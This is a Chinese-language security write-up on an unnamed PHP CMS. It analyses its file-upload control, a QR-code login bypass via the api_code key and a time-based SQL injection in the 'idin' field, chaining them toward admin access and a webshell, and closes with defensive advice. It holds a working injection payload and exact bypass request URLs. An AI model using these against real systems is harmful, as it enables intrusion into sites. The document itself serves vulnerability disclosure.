一次曲折的漏洞挖掘
字数 1308 2025-08-10 08:28:29

CMS漏洞挖掘与分析:从上传点到登录绕过与SQL注入

0x00 系统架构分析

该CMS采用模块化设计,分为三个主要模块:

  • admin:后台管理模块
  • api:接口模块
  • www:前端模块

路由分发机制:

final public function action() {
    if(!$this->_iscmd){
       $this->init_site();
    }
    $this->init_view();
    $this->init_assign();
    $this->init_plugin();
    if($this->app_id == 'admin'){
       $this->action_admin();
       exit;
    }
    if($this->app_id == 'api'){
       $this->action_api();
       exit;
    }
    $this->action_www();
}

API模块路由通过参数c(control)和f(function)确定控制器和方法:

private function action_api() {
    $ctrl = $this->get($this->config["ctrl_id"],"system");
    if(!$ctrl){
       $ctrl = 'index';
    }
    $func = $this->get($this->config["func_id"],"system");
    if(!$func){
       $func = 'index';
    }
    $this->_action($ctrl,$func);
}

0x01 文件上传漏洞分析

api/upload_control.php中发现关键上传方法save_f()

权限控制逻辑:

  • 游客(u_id=0)只能上传:jpg,png,gif,rar,zip
  • 注册用户可根据cateid指定更多文件类型

上传类型控制代码:

$filetypes = $this->u_id ? $cate_rs['filetypes'] : 'jpg,png,gif,rar,zip';
$this->lib('upload')->set_type($filetypes);

潜在攻击思路:

  1. 上传zip文件,寻找unzip接口解压webshell
  2. 通过SQL注入修改数据库中的文件后缀限制

0x02 登录绕过漏洞分析

扫码登录机制

  1. 生成二维码 (qrcode_f方法):

    • 生成随机keyidfid
    • keyid用于加密数据
    • fid作为临时文件名存储密钥
    • 返回加密数据和文件名
  2. 验证流程 (checking_f方法):

    • 检查两个文件存在:
      • $fid.'-'.$data['code'].'.php' (登录文件)
      • $fid.'-checking.php' (检查文件)
    • 解密文件内容验证用户信息
  3. 更新验证 (update_f方法):

    • 支持两种验证方式:
      • 账号密码验证
      • quickcode验证(加密数据)

登录绕过原理

  1. 利用默认api_code加密管理员信息
  2. 通过checkadm_f接口生成update_f所需的加密字符串
  3. 访问update接口生成检查文件实现登录

关键代码:

// checkadm_f方法
$this->lib('token')->keyid($api_code);
$msg = $this->lib('token')->decode($content);
// ...
$keyid = $this->lib('file')->cat($file);
$this->lib('token')->keyid($keyid);
$logincode = $this->lib('token')->encode($data);

绕过步骤

  1. 生成admin信息加密文本:
$data = array('id'=>1, 'user'=>'admin', 'time'=>time(), 'domain'=>'目标域名');
$api_code = $this->model('config')->get_one('api_code',$this->site['id']);
$this->lib('token')->keyid($api_code);
$msg = $this->lib('token')->encode($data);
  1. 获取二维码请求中的fidcontent

  2. 构造checkadm请求:

/admin.php?c=login&f=checkadm&fid=[fid值]&content=[加密数据]
  1. 使用返回的logincode构造update请求:
/admin.php?c=login&f=update&fid=[fid值]&fcode=[fcode值]&quickcode=[logincode值]

注意:实际测试中发现api_code可能不是默认值,需要进一步利用。

0x03 SQL注入漏洞分析

注入点定位

phpxx()方法中发现动态方法调用和SQL拼接:

$func = '_'.$call_rs['type_id'];
if(!in_array($func,$this->mlist)){
    return false;
}
return $this->$func($call_rs,$cache_id);

xxx_condition方法中发现SQL拼接漏洞:

if($rs['idin']){
    $tmp = explode(",",$rs['idin']);
    foreach($tmp as $key=>$value){
        if(!$value || !trim($value) || !intval($value)){
            unset($tmp[$key]);
            continue;
        }
    }
    $condition .= " AND l.id IN(".(implode(",",$tmp)).") ";
}

注入利用条件

  1. 需要type_idarclist的数据调用
  2. 构造特定JSON格式的data参数

注入Payload

data={"m_picplayer":{"_alias":"abc","idin":"1,1 and if(1,1 and sleep(7.1),1)"}}

生成的SQL语句:

AND l.id IN(1,1 and if(1,1 and sleep(4),1))

注入限制

  1. idin参数以逗号分隔
  2. 每个值需满足:!$value || !trim($value) || !intval($value)为false
    • 不能为空
    • 不能全是空格
    • intval()不能为0(即不能以字母开头)

0x04 完整攻击链

  1. 利用SQL注入获取api_code
  2. 使用api_code加密管理员信息
  3. 通过登录绕过漏洞获取后台权限
  4. 利用后台功能上传webshell或修改文件上传限制

防御建议

  1. 文件上传:

    • 严格限制上传文件类型
    • 对压缩文件进行内容检查
  2. 登录机制:

    • 不使用固定加密密钥
    • 增加扫码登录的二次验证
  3. SQL注入:

    • 使用参数化查询
    • 对输入进行严格过滤
  4. 其他:

    • 定期更新系统补丁
    • 最小权限原则配置服务器
CMS漏洞挖掘与分析:从上传点到登录绕过与SQL注入 0x00 系统架构分析 该CMS采用模块化设计,分为三个主要模块: admin:后台管理模块 api:接口模块 www:前端模块 路由分发机制: API模块路由通过参数 c (control)和 f (function)确定控制器和方法: 0x01 文件上传漏洞分析 在 api/upload_control.php 中发现关键上传方法 save_f() : 权限控制逻辑: 游客(u_ id=0)只能上传:jpg,png,gif,rar,zip 注册用户可根据cateid指定更多文件类型 上传类型控制代码: 潜在攻击思路: 上传zip文件,寻找unzip接口解压webshell 通过SQL注入修改数据库中的文件后缀限制 0x02 登录绕过漏洞分析 扫码登录机制 生成二维码 ( qrcode_f 方法): 生成随机 keyid 和 fid keyid 用于加密数据 fid 作为临时文件名存储密钥 返回加密数据和文件名 验证流程 ( checking_f 方法): 检查两个文件存在: $fid.'-'.$data['code'].'.php' (登录文件) $fid.'-checking.php' (检查文件) 解密文件内容验证用户信息 更新验证 ( update_f 方法): 支持两种验证方式: 账号密码验证 quickcode 验证(加密数据) 登录绕过原理 利用默认 api_code 加密管理员信息 通过 checkadm_f 接口生成 update_f 所需的加密字符串 访问 update 接口生成检查文件实现登录 关键代码: 绕过步骤 生成admin信息加密文本: 获取二维码请求中的 fid 和 content 构造 checkadm 请求: 使用返回的 logincode 构造 update 请求: 注意 :实际测试中发现 api_code 可能不是默认值,需要进一步利用。 0x03 SQL注入漏洞分析 注入点定位 在 phpxx() 方法中发现动态方法调用和SQL拼接: 在 xxx_condition 方法中发现SQL拼接漏洞: 注入利用条件 需要 type_id 为 arclist 的数据调用 构造特定JSON格式的 data 参数 注入Payload 生成的SQL语句: 注入限制 idin 参数以逗号分隔 每个值需满足: !$value || !trim($value) || !intval($value) 为false 不能为空 不能全是空格 intval() 不能为0(即不能以字母开头) 0x04 完整攻击链 利用SQL注入获取 api_code 值 使用 api_code 加密管理员信息 通过登录绕过漏洞获取后台权限 利用后台功能上传webshell或修改文件上传限制 防御建议 文件上传: 严格限制上传文件类型 对压缩文件进行内容检查 登录机制: 不使用固定加密密钥 增加扫码登录的二次验证 SQL注入: 使用参数化查询 对输入进行严格过滤 其他: 定期更新系统补丁 最小权限原则配置服务器